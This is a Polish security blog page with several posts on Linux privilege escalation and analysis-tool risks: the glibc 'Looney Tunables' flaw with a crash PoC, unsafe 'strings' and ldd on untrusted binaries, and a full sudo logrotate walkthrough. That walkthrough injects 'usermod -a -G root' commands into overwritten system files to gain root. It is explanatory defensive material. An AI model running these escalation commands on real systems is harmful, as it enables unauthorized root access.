N

iedawno firma Qualys odkryła i zgłosiła krytyczny błąd w popularnym ekosystemie bibliotek GLIBC, który jest domyślnie instalowany w większości systemów operacyjnych opartych na Linuksie. Wspomniany błąd polega na przepełnieniu bufora w kodzie odpowiedzialnym za obsługę specjalnych zmiennych środowiskowych podczas uruchamiania procesu, co może skutkować lokalną eskalacją uprawnień. Luce przypisano CVE-2023-4911 z oceną 7,8 co daje jej wysoki poziom podatności (w przypadku wykorzystania atakujący może uzyskać uprawnienia administratora w systemie). Opublikowano już kilka wersji testowych eksploitów dla tego błędu – PoC1, PoC2, PoC3, PoC4. Przykłady te pokazują, że sama eksploatacja jest dość prosta i nawet przy zastosowaniu siłowego zgadywania adresu pamięci (ze względu na ASLR) eskalacja może nastąpić w czasie krótszym niż 5 minut.

GLIBC jest domyślnie instalowany w wielu popularnych dystrybucjach Linuksa: Ubuntu, Debian, Fedora, RedHat. Zawiera dynamiczny linker ładujący (ld.so), czyli fragment oprogramowania odpowiedzialny za ładowanie wszystkich obiektów współdzielonych potrzebnych do uruchomienia programu. Jego zadania można opisać w kilku punktach: uruchamianie pliku binarnego; ładowanie bibliotek współdzielonych; obsługa zmiennych LD_PRELOAD i LD_LIBRARY_PATH; zarządzanie pamięcią i mapowanie pliku binarnego w pamięci. Luka znaleziona przez badaczy z Qualys ma miejsce podczas inicjalizacji dynamicznego linkera, a konkretnie podczas obsługi zmiennej środowiskowej GLIBC_TUNABLES. Zmienna ta pozwala na dostosowanie zachowania GLIBC podczas kolejnych zdarzeń. Listę dostępnych opcji dostrajania można uzyskać, uruchamiając następujące polecenie:

/lib64/ld-linux-x86-64.so.2 --list-tunables

Opcje dostrajające muszą zostać dostarczone do docelowego pliku binarnego jako lista oddzielonych od siebie dwukropkami par wartość=klucz ( “tunable1=aaa:tunable2=bbb”). Wspomniany linker jest odpowiedzialny za analizowanie i ostateczne usuwanie wrażliwych na bezpieczeństwo opcji dostrajania ze zmiennych środowiskowych. Co dokładnie się dzieje podczas tego procesu? Otóż funkcja __tunables_init (w której prowadzono błąd) przegląda zmienne środowiskowe i wyszukuje tej o nazwie: GLIBC_TUNABLES. Po jej znalezieniu wywołuje inną funkcję o nazwie tunables_strdup w celu utworzenia kopii zmiennej i rozpoczęcia jej przetwarzania. Ze względu na fakt, że GLIBC nie jest jeszcze zainicjowany ostatnia funkcja używa pod maską __minimal_malloc, która wywołuje mmap w celu zażądania pamięci od jądra systemu. Powoduje to alokację pamięci z pamięci wirtualnej zamiast ze sterty.

Możliwość przepełnienie bufora w tym procesie jest możliwa ze względu na sposób analizowania argumentów. Jeśli opcja dostrajająca będzie miała format: “tunable1=tunable2=bbb” zostanie ona potraktowana na początku jako: tunable1=”tunable2=bbb”, a później jako: “tunable2=bbb”. Spowoduje to skopiowanie większej ilości danych do przydzielonego bufora, niż jest to dozwolone. Chociaż luka ta została wykryta podczas przeglądu kodu źródłowego, badacze z Qualys poddali również testowanie tej logiki za pomocą fuzzingu i z pomocą programu AFL++ oraz libFuzzer powtórzyli ten błąd w mniej niż sekundę (przekazali tylko do programów listę opcji dostrajających z powyższego polecenia). PoC testujący podatność:

agresor@darkstar:~$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" \
"Z=`printf '%08192x' 1`" /usr/bin/su --help
Segmentation fault (core dumped)

Wykorzystanie luki polega na utworzeniu ładunku (ang. payload) modyfikującego wskaźnik l_info[DT_RPATH] (ścieżka wyszukiwania bibliotek), co może zmusić ld.so do załadowania obiektów współdzielonych z niezaufanych katalogów i wykonania dowolnego kodu (jako root, jeśli uruchomimy program z bitem SUID). Błąd udało wykorzystać się w domyślnych instalacjach Fedory 37 i 38, Ubuntu 22.04 i 23.04, Debianie 12 i 13; inne dystrybucje prawdopodobnie też są podatne na ataki (jedynym godnym uwagi wyjątkiem jest Alpine Linux, który używa musl libc, a nie glibc).

Więcej informacji: CVE-2023-4911, Detecting and mitigating CVE-2023-4911, Exploiting the Looney Tunables vulnerability on HTB, Looney Tunables – Local Privilege Escalation in the glibc’s ld.so

P

olecenie ldd nie jest jedynym programem, który miał problemy z bezpieczeństwem jeśli chodzi walidację danych podczas analizy różnych programów. W 2014 roku Michał Zalewski ostrzegał, że wielu użytkowników zajmujących się informatyką śledczą lub innymi dziedzinami bezpieczeństwa informacji ma zwyczaj uruchamiania programu /usr/bin/strings na plikach binarnych pochodzących z internetu. Skoro narzędzie to po prostu skanuje zawartość pliku w poszukiwaniu ciągów znaków, które można wyświetlić na standardowym wyjściu (stdout) to nie powinno narazić użytkownika na jakiekolwiek ryzyko. Otóż program strings jest integralną częścią GNU binutils – zestawu narzędzi specjalizujących się w manipulowaniu formatami plików wykonywalnych przy użyciu biblioteki o nazwie libbfd (Binary File Descriptor Library).

Jak udowodnił lcamtuf funkcja setup_group w źródłowym pliku bfd/elf.c biblioteki libbfd wchodzącej w skład binutils w wersji 2.24 i wcześniejszych posiadała podatność bezpieczeństwa. Jeśli użytkownik zostałby nakłoniony do analizy programem strings specjalnie spreparowanego pliku, mogłoby to spowodować krach tego narzędzia lub potencjalne wykonanie dowolnego kodu z uprawnieniami użytkownika uruchamiającego proces analizy. Dlatego od wersji 2.26 wydanej 26 stycznia 2014 roku domyślnym wywołaniem strings jest parametr -a, który powoduje skanowanie całego pliku z pominięciem używania biblioteki BFD:

commit 7fac9594c41ab180979bdf5927ff7f7e1d13a9e9
Author: Nick Clifton 
Date:   2014-10-31 10:10:37 +0000

    In response to a public outcry the strings program now 
    defaults to using the --all option which displays text
    from anywhere in the input file(s).  The default used 
    to be --data, which only displays text from loadable
    data sections, but this requires the use of the BFD
    library.  Since the BFD library almost certainly still
    contains buffer overrun and/or memory corruption bugs,
    and since the strings program is often used to examine
    malicious code, it was decided that the --data option
    option represents a possible security risk.

W celu użycia ponownie biblioteki BPD musimy użyć parametru -d (--data), aby wyświetlić ciągi znaków tylko z zainicjalizowanych i załadowanych sekcji danych w pliku. Może to zmniejszyć ilość śmieciowych danych na wyjściu, ale należy pamiętać, że naraża to także program na wszelkie luki w bezpieczeństwie, które mogą być jeszcze obecne w bibliotece BFD używanej do skanowania i ładowania takich sekcji.

Więcej informacji: PSA: don’t run ‘strings’ on untrusted files (CVE-2014-8485), CVE-2014-8485, Scan the whole file commit

K

olejna część ucieczki z sudo będzie opierała się na wykorzystaniu programu logrotate. Zakładamy, że w systemie (tutaj Ubuntu 22.04) jest zainstalowany pakiet man-db, a użytkownik posiada możliwość uruchamiania programu logrotate z dowolnymi argumentami:

agresor ALL=(ALL:ALL) NOPASSWD: /usr/sbin/logrotate *

Okazuje się, że jeśli użyjemy parametru -l jesteśmy w stanie nadpisać zawartość dowolnego pliku traktując go jako dziennik wykonania programu logrotate. Dlatego możliwości wykorzystania tej luki są wszechstronne. Dla eskalacji uprawnień najlepszym scenariuszem jest, aby nadpisywany plik był wykonywany z uprawnieniami administratora. Przykładem tutaj może być skrypt znajdujący się w ścieżce: /etc/cron.daily/man-db. Uruchamiając logrotate za pomocą poleceń:

sudo logrotate -l /etc/cron.daily/man-db \
'2>/dev/null;/usr/sbin/usermod -a -G root agresor;exit 0;'

Nadpiszemy zawartość skryptu man-db tekstem:

error: cannot stat 2>/dev/null;/usr/sbin/usermod -a -G root agresor;exit 0;
: No such file or directory
Reading state from file: /var/lib/logrotate/status
Allocating hash table for state file, size 64 entries

I w tym momencie może się nam wydawać, że wystarczy poczekać jeden dzień na kolejne uruchomienie daemona cron(tab), aby skrypt uruchomił polecenie usermod i dodał użytkownika agresor do grupy administracyjnej. Nic bardziej mylnego – ponieważ każdy skrypt umieszczony w ścieżkach /etc/cron.(daily|weekly|monthly) musi zaczynać się od sekwencji shebang. W przeciwnym wypadku otrzymamy błąd run-parts: failed to exec script.sh: Exec format error:

root@darkstar:~# test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
/etc/cron.daily/man-db:
run-parts: failed to exec /etc/cron.daily/man-db: Exec format error
run-parts: /etc/cron.daily/man-db exited with return code 1

We need to go deeper…

Skoro skrypt w pierwszej linii wykonywania musi mieć odpowiedni format – to może warto zmodyfikować jakiś nieznaczący plik wewnątrz tego skryptu? Zresztą jak spojrzymy w zawartość skryptów w /etc/cron.(daily|weekly|monthly) to większość z nich nie jest wykonywana ze względu na systemd

# Skip if systemd is running.
if [ -d /run/systemd/system ]; then
  exit 0
fi

Spójrzmy zatem, co zamierza z opóźnieniem uruchomić systemd:

root@darkstar:~# systemctl list-timers 
NEXT     
Wed 2023-10-04 00:30:28 CEST 
LEFT
9min 2s left  
LAST
Tue 2023-07-04 18:02:24 CEST 
PASSED
2 months 30 days ago  
UNIT
apt-daily.timer                
ACTIVATES
apt-daily.service

Mamy szczęście. Za 9 minut wystartuje serwis apt-daily. Zobaczmy, co uruchamia:

agresor@darkstar:/usr/bin$ grep Exec /lib/systemd/system/apt-daily.service
ExecStartPre=-/usr/lib/apt/apt-helper wait-online
ExecStart=/usr/lib/apt/apt.systemd.daily update

Skrypt /usr/lib/apt/apt.systemd.daily z argumentem update. Jeśli uruchomimy go z naszego użytkownika może uda znaleźć się plik binarny lub inny skrypt odpowiedni do modyfikacji:

agresor@darkstar:~$ bash -x /usr/lib/apt/apt.systemd.daily update
+ '[' update = lock_is_held ']'
++ apt-config shell StateDir Dir::State/d
+ eval 'StateDir='\''/var/lib/apt/'\'''
++ StateDir=/var/lib/apt/
+ exec
/usr/lib/apt/apt.systemd.daily: line 326: /var/lib/apt//daily_lock: Permission denied
+ flock -w 3600 3
flock: 3: Bad file descriptor
+ echo 'E: Could not acquire lock'
E: Could not acquire lock
+ exit 1

flock wyglada na dobrego kandydata:

cp /usr/bin/flock /tmp/flock_to_restore
sudo logrotate -l /usr/bin/flock \
'2>/dev/null; /usr/bin/echo > /tmp/Pwn3d; /usr/sbin/usermod -a -G root agresor; exit 0;'

I rzeczywiście po uruchomieniu przez apt-daily.timer serwisu apt-daily.service wyzwolił on zmodyfikowany plik /usr/bin/flock, który wykonał w systemie nasze instrukcje z prawami administratora:

root@darkstar:~# grep apt-daily.service /var/log/syslog
Oct  4 00:31:45 darkstar systemd[1]: apt-daily.service: Deactivated successfully.
Oct  4 00:31:45 darkstar systemd[1]: apt-daily.service: Consumed 31.311s CPU time.
root@darkstar:~# ls -al /tmp/Pwn3d
-rw-r--r-- 1 root root 1 Oct  4 00:30 /tmp/Pwn3d
root@darkstar:~# id agresor
uid=1000(agresor) gid=1000(agresor) groups=1000(agresor),0(root)

Przy okazji omawiania tego przykładu warto wspomnieć o projekcie, który powstał na bazie GTFOBins. GTFOArgs to wyselekcjonowana lista plików binarnych systemów *nix, którymi można manipulować w celu wstrzykiwania argumentów, co może skutkować powstawaniem luk w zabezpieczeniach, czego byliśmy właśnie świadkami.

Więcej informacji: root with a single command: sudo logrotate, Another way to exploit ‘sudo logrotate’, Abusing a race condition in logrotate to elevate privileges

S

ystem Linux oferuje różnorodne metody przyznawania uprawnień do plików. Oprócz tradycyjnej, uznaniowej kontroli dostępu (DAC – Discretionary Access Control) obsługuje również listy kontroli dostępu (ACL – Access Control Lists) i obowiązkową kontrolę dostępu (MAC – Mandatory Access Control). Wszystkie te mechanizmy działają na podstawie przyznawania uprawnień, gdy domyślnie nic nie jest dozwolone. To podejście jest również czasami określane jako listy dostępowe (ang. allow list). Analogicznie, jak przy tworzeniu reguł dla zapór sieciowych – blokujemy wszystko i zezwalamy na selektywny ruch. Jednak zarówno DAC i jego rozwinięcie ACL pozwalają na implementację negatywnych uprawnień. Negatyw – występuje tutaj jako pojęcie odwrotności pozytywu – czyli dodawania uprawnień w zupełnie inny sposób niż to przyjęto – odwołując się do poprzedniego przykładu – blokujemy selektywny ruch, ale wszystko inne jest dozwolone. W przypadku dostępu do plików uprawnienia takie uniemożliwiają dostęp określonym użytkownikom lub grupom, gdy wszyscy inni zachowują dostęp. Tego typu praktyka jest raczej rzadkością, za to powszechnie postrzegana jako zła w przypadku uprawnień i ruchu sieciowego.
[ czytaj całość… ]

F

ileless ELF exec – fee – to proste narzędzie, które umożliwia załadowanie bezpośrednio do pamięci (poprzez deskryptor pliku pamięci – memfd) wcześniej zakodowany i skompresowany plik binarny. Dlaczego zadawać sobie trud, aby uruchamiać pliki w ten sposób ? Ponieważ ataki bezplikowe (ang. fileless) są bardziej wymijające dla detekcji niż ataki, które polegają na upuszczaniu ładunku (ang. payload) na dysk. W celu skuteczniejszego wykrywania tego typu szkodliwego oprogramowania na systemie musi znajdować się ochrona, która wykorzystuje technikę analizy opartą na zachowaniu w czasie wykonywania plików i monitorowania pamięci. Fakt, że po wykryciu ładunek “żyje” w pamięci może także komplikować proces informatyki śledczej (szczególnie dla efemerycznych maszyn w chmurze), ponieważ musi on zostać zrzucony z pamięci.
[ czytaj całość… ]

W

artykule ukrywanie procesów za pomocą ld.so.preload poznaliśmy zasadę działania podstawowych narzędzi do zarządzania procesami w systemie Linux oraz w jaki sposób za pomocą biblioteki współdzielonej możemy je oszukać. W tej publikacji postaramy się napisać prosty skrypt w języku Python, który za pomocą enumeracji sprawdzi czego nam nie mówią oszukane narzędzia. Jego zasada działania jest bardzo prosta – jego zadaniem jest wejść do katalogu /proc i pobrać wszystkie katalogi, które mają format numeryczny ([0-9]) i dodać je do listy:

proc_path = '/proc'

def process_list_behind_the_fog():
    pid_list = []
    for pid_number in os.listdir(proc_path):
        if os.path.isdir(os.path.join(proc_path, pid_number)):
            if pid_number.isnumeric():
                pid_list.append(int(pid_number))
    return(pid_list)

[ czytaj całość… ]

M

inęło kilka lat, odkąd Will Hunt stworzył regułę hashcat OneRuleToRuleThemAll. Od tego czasu wprowadzono w niej jedną czy dwie poprawki, ale głównym celem było stworzenie wydajnego zestawu reguł, które nadawałyby się do atakowania szybkich funkcji skrótów, takich jak NTLM, MD5, SHA1/2 itp. Zawiera ona 52.000 reguł, które obejmują najlepsze reguły z domyślnej instalacji programu hashcat jak i te niestandardowe: hob064, best64, T0XICv1, toggles5, InsidePro-PasswordsPro, rockyou-30000, InsidePro-HashManager, d3ad0ne, dive, unix-ninja-leetspeak, generated2, d3adhob0, KoreLogic’s Rockyou50000, _NSAKEY.v2.dive – zostały one przetestowane na około 4.3 miliona niesolonych skrótów MD5 pochodzących z naruszenia bezpieczeństwa danych MineCraft Lifeboat community w 2016 roku.
[ czytaj całość… ]

P

odczas wykrywania różnego rodzaju szkodliwych procesów zazwyczaj używamy podstawowych poleceń systemowych, takich jak: ps, lsof oraz netstat (lub jego następcę ss). Dla przypomnienia: ps – wyświetla aktualne procesy w systemie; netstat – wyświetla połączenia sieciowe, tablice routingu i statystyki pakietów; lsof – listuje otwarte deskryptory plików i procesy, które je otworzyły. Polecenia te opierają się na prostej koncepcji (w systemach *nix prawie wszystko jest reprezentowane jako deskryptor pliku: pliki, katalogi, połączenia sieciowe, potoki, zdarzenia itd.) i przydają się w wielu sytuacjach. W rezultacie polecenia te mogą zobaczyć wiele rzeczy i być użyte do odpowiedzi na wiele interesujących pytań.
[ czytaj całość… ]

N

iewiele osób zdaje sobie sprawę z faktu, że polecenie ldd służące do wyświetlania bibliotek współdzielonych wymaganych przez dany program nie jest plikiem binarnym tylko skryptem w języku bash:

agresor@darkstar:~$ whereis ldd
ldd: /usr/bin/ldd /usr/share/man/man1/ldd.1.gz
agresor@darkstar:~$ file /usr/bin/ldd
/usr/bin/ldd: Bourne-Again shell script, ASCII text executable

W dodatku, jeśli przeczytamy stronę manualną tego polecenia natchniemy się na taki zapis:

Należy pamiętać, że w pewnych okolicznościach (np. gdy program określa interpreter ELF inny niż ld-linux.so), niektóre wersje ldd mogą próbować uzyskać informacje o zależnościach, próbując bezpośrednio wykonać program, co może doprowadzić do wykonania dowolnego kodu zdefiniowanego w interpreterze programu ELF, a być może do wykonania samego programu (w wersjach glibc 2.27, implementacja upstream ldd na przykład to robiła, chociaż większość dystrybucji dostarczała zmodyfikowaną wersję, która tego nie robiła).

Dlatego nigdy nie należy używać ldd na niezaufanym pliku wykonywalnym, ponieważ może to spowodować wykonanie dowolnego kodu.

Zapis ten znajduje swoją historię w CVE-2009-5064, czyli luce w sposobie, w jaki narzędzie ldd identyfikowało biblioteki dołączane dynamicznie. Jeśli osoba atakująca mogłaby nakłonić użytkownika do uruchomienia ldd na złośliwym pliku binarnym, mogłoby to spowodować wykonanie dowolnego kodu z uprawnieniami użytkownika uruchamiającego ldd. Przykłady takich aplikacji mogą zostać stworzone np. za pomocą osobnej biblioteki C do tworzenia wbudowanych systemów Linux. Wystarczy zlinkować szkodliwy kod z nowym programem ładującym, z którego usuniemy / zakomentujemy wykrywanie zmiennej LD_TRACE_LOADED_OBJECTS:

/*
   if (_dl_getenv("LD_TRACE_LOADED_OBJECTS", envp) != NULL) {
           trace_loaded_objects++;
   }
*/

Spowoduje to, że szkodliwy program zostanie uruchomiony przez program ładujący nawet, jeśli narzędzie systemowe ustawi taką zmienną. Teraz w samym programie należy wykrywać w/w zmienną, aby uzależnić od niej wersję uruchomionego kodu:

#include <stdio.h>
#include <stdlib.h>

int main()
{
   /* wykrycie uruchomienia ldd */
   if (getenv("LD_TRACE_LOADED_OBJECTS") != 0) {
      printf("szkodliwy kod\n");
      printf("\tlibc.so.6 => /lib/libc.so.6 (0x4001d000)\n");
      printf("\t/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)\n");
      return 0;
   }

   printf("normalny kod\n");
   return 0;
}

Jak widzimy nie do końca jest bezpieczne uruchamianie ldd na niezaufanych plikach binarnych. Skrypt ldd używa dynamicznego linkera do załadowania pliku binarnego i jego zależności do pamięci, a następnie polega na samym dynamicznym konsolidatorze, aby wyświetlić szczegóły w konsoli. Z tego powodu proces ten może być nadużywany w inny sposób niż zgodnie z przeznaczeniem np. do wstrzyknięcia kodu, jak było to w przypadku CVE-2019-1010023. W jaki więc sposób sprawdzać zależności? Oczywiście nieznane pliki binarne powinny być sprawdzane na specjalnie przygotowanym do tego środowisku. Po drugie możemy skorzystać bezpośrednio z linkera systemowego:

agresor@darkstar:~$ /lib64/ld-linux-x86-64.so.2 --verify /bin/ls \
                    && echo 'Plik obsługiwany!' || echo 'Plik nieobsługiwany!'

Jeśli plik jest obsługiwany, możemy go sprawdzić za pomocą składni:

agresor@darkstar:~$ LD_TRACE_LOADED_OBJECTS=1 /lib64/ld-linux-x86-64.so.2 /bin/ls
	linux-vdso.so.1 (0x00007ffe3b1dd000)
	libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f4b1111f000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4b10ef7000)
	libpcre2-8.so.0 => /lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x00007f4b10e60000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f4b11177000)

No i proszę. Otrzymujemy dokładnie taki sam wynik, jaki wytworzyłby skrypt ldd (minus różnice w adresach pamięci pod którymi zostały załadowane biblioteki, ale to ze względu na ASLR).

Więcej informacji: ldd(1) and untrusted binaries, Compromising analysis tools, ldd can execute an app unexpectedly, The GNU C Library version 2.27 is now available

W

programowaniu biblioteka jest zbiorem wstępnie skompilowanych fragmentów kodu. Bibliotekę programistyczną możemy ponownie wykorzystać w różnych programach, które mają mieć zaimplementowane obsługę tych samych zadań. Są bardzo przydatne, ponieważ zapewniają funkcje, klasy i struktury danych wielokrotnego użytku. Niektóre przykłady bibliotek w systemie Linux to glibc (wersja GNU standardowej biblioteki C), libc (standardowa biblioteka C). Biblioteki możemy podzielić na dwie główne kategorie: biblioteki statyczne (ang. static libraries) – związane statycznie z programem w czasie kompilacji; biblioteki współdzielone (ang. shared libraries) – ładowane podczas uruchamiania programu i ładowane do pamięci w czasie wykonywania.
[ czytaj całość… ]